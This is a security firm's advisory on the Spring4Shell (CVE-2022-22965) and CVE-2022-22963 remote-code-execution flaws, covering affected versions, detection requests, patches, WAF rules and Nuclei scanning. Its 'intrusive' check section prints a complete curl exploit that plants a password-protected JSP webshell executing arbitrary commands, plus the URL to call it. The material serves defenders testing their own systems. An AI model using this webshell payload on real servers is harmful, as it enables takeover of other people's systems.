Spring4Shell Vulnerability – CVE-2022-22965 and CVE-2022-22963

01 - Apr - 2022 - Nico Matovelle, Óscar Mallo, José Rabal

Table of Contents

During this week, two security vulnerabilities in the Java Spring framework have become known that allows to remotely take control of vulnerable applications. These new web vulnerabilities, reminiscent of Log4Shell, are currently being actively exploited so it is recommended to review web applications and patch them as soon as possible.

Spring4Shell vulnerability – CVE-2022-22965

Spring4Shell or SpringShell have been the names given to the vulnerability that was later assigned the code CVE-2022-22965 and that allows code to be executed remotely through a sequence of specific HTTP requests. The Spring4Shell vulnerability is very critical and can compromise the confidentiality, integrity, and availability of data managed by a vulnerable application. This weakness affects functions that make use of the @RequestMapping annotation and take Plain Old Data Objects (POJO) as an input parameter.

Impact of the vulnerability: RCE (Remote Code Execution)
CVSS: 9.8 https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Requirements: Spring MVC and Spring WebFlux usage.
- Application Container: Apache Tomcat (Exploits are currently only available for this environment)
- Applications packaged as WAR
- Dependencies: SpringMVC and Spring WebFlux
- JDK >=9
- Spring versions affected below:
  - 5.3.18
  - 5.2.20

The official releases about this vulnerability provide all the official information in the following links: • https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement#am-i-impacted • https://tanzu.vmware.com/security/cve-2022-22965

Spring4Shell exploit method

The exploits developed and published so far make use of a Tomcat Java class, the AccessLogValve (https://tomcat.apache.org/tomcat-8.0-doc/api/org/apache/catalina/valves/AccessLogValve.html). Because it is possible to abuse how the Spring Beans component loads the request parameters, the instance of this class can be referenced and its attributes modified at runtime. The operation of these exploits resides in referencing the class through the classLoader with parameters such as the following:

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp.

This would change the suffix of the log file to “.jsp”. By manipulating this type of parameter, it is possible to modify the behavior of the Tomcat application server, causing a JSP file to be created in the web apps/ROOT directory with malicious code, such as a webshell in most cases. After a first HTTP request modifying all attributes, the next request is already able to make use of the webshell and execute the commands sent as parameters.

How to check if I am vulnerable to the Spring4Shell vulnerability

To confirm if a system endpoint is vulnerable to Spring4Shell, it is not necessary to modify the behavior of the Tomcat logging function. From Tarlogic we present three possible ways to detect and exploit the Spring4Shell vulnerability in a vulnerable Spring instance:

External security verification (non-intrusive):

This request is completely innocuous to the remote service, so it can be executed in any kind of environment without the risk of modifying the application behavior:

$ curl -v https://TARGET/PATH/?class.module.classLoader.URLs%5B0%5D=0

Another way to detect the vulnerability is as follows:

$ curl -i -k https://TARGET/PATH/?class.module.classLoader.DefaultAssertionStatus=nosense | grep -i 400

Returns a 400 error if vulnerable:

In case it’s not vulnerable, either because the application is patched or the Spring version is up to date, the application will ignore the parameter by returning a different status code:

External verification (Intrusive attack):

The following command would create a password protected webshell (pwd=TARLOGIC):

$ curl -H “suffix”:”%>//” -H “c1″:”Runtime” -H “c2″:”<%” -H “c3″:”TARLOGIC” -H “DNT”:”1″ -H “Content-Type”:”application/x-www-form-urlencoded” -d ‘class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22%25%7Bc3%7Di%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=’ https://TARGET

Subsequently, the remote shell can be invoked at the following URL:

$ https://TARGET/tomcatwar.jsp?pwd=TARLOGIC&cmd=whoami

External verification (less intrusive attack):

This somewhat less intrusive exploit method than the previous one creates a log file with the text “Tarlogic 2022” in the path https://YOURSERVER/tarlogicCheckSpring4Shell.jsp. The commands to execute are as follows:

$ curl -v -d “class.module.classLoader.resources.context.parent.pipeline.first.pattern=Tarlogic%202022&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tarlogicCheckSpring4Shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=” https://YOURSERVER/ $ curl https://YOURSERVER/tarlogicCheckSpring4Shell.jsp

It’s recommended to restart the webserver after verifying the vulnerability to restore the normal operation of the application.

Spring vulnerability fixes

The latest version of the Spring framework has been patched on March 31, 2022. The commit where the code that fixes the vulnerability is included is available at the following link: https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c

Patch update and deployment:

Patching is the optimal method to protect against the Java Spring4Shell vulnerability. The updated versions of the application are listed below:

In the case of SpringBoot, the versions that include the patches are:

Spring4shell mitigation actions alternatives

Temporarily, the following spring4shell vulnerability mitigation actions are proposed:

Block by rule in the WAF the use of parameters whose name contains the string “classLoader” or the start of the reference to it:
- Block strings “class.”, “Class.”, “.class.”, and “.Class.”
Workaround patching classes: https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
Making use of a lower JDK version, such as 8, could fix the problem, although it would open the door to other attacks.

Exploit detection

Spring4shell exploit detection can be done using the following Yara rules: https://github.com/Neo23x0/signature-base/blob/master/yara/expl_spring4shell.yar Although the main recommendation is to patch.

Vulnerability CVE-2022-22963

The vulnerability CVE-2022-22963 has a high criticality allowing remote code execution, which could compromise the confidentiality, integrity, and availability of data managed by a vulnerable application. This vulnerability was handled correctly and has had a CVE code since its publication. Official documentation can be found at the following websites:

Spring Cloud Functions can be used in serverless functions deployed across multiple Cloud providers. Successful exploitation could allow accounts or other services published in the cloud to be compromised.

Impact: RCE (Remote Code Execution).
Requirements: Need to be using Spring Cloud Function framework.
Affected versions: <=3.1.6 and <=3.2.2.2
CVSS: (9.8 CRITICAL)

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Solution for vulnerability CVE-2022-22963

The main solution is to urgently upgrade the Spring Cloud Functions component to the new versions available that fix this vulnerability:

3.1.7
3.2.3

Testing for vulnerability CVE-2022-22963 with nuclei

Here is how to check for the presence of the vulnerability remotely with Nuclei:

$ nuclei -ut
$ nuclei -l LIST_URLS.txt -t cves/2022/CVE-2022-22963.yaml -rl 10 -o nuclei_CVE-2022-22963.out

Additional Spring4Shell references

https://www.tenable.com/blog/spring4shell-faq-spring-framework-remote-code-execution-vulnerability
Original vulnerability discovery link: https://www.praetorian.com/blog/spring-core-jdk9-rce/
Explanation with vulnerable app: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
Explanation in English: https://www.hackplayers.com/2022/03/springshell-rce-core-spring.html
Additional requirements to JDK 9+: https://twitter.com/wdormann/status/1509280535071309827
Tweet about Spring4Shell detection: https://twitter.com/i/web/status/1509208252722073606
Spring Framework releases: https://github.com/spring-projects/spring-framework/releases
Vulnerable app: https://github.com/TheGejr/SpringShell
https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/
Twitter account: https://twitter.com/springframework
Nuclei template to validate Spring4Shell: https://github.com/projectdiscovery/nuclei-templates/pull/4017/files

We will update the content as additional information about the Spring4Shell vulnerability and detection, exploitation, and mitigation techniques become available.

Share this article

Facebook - Twitter - Linkedin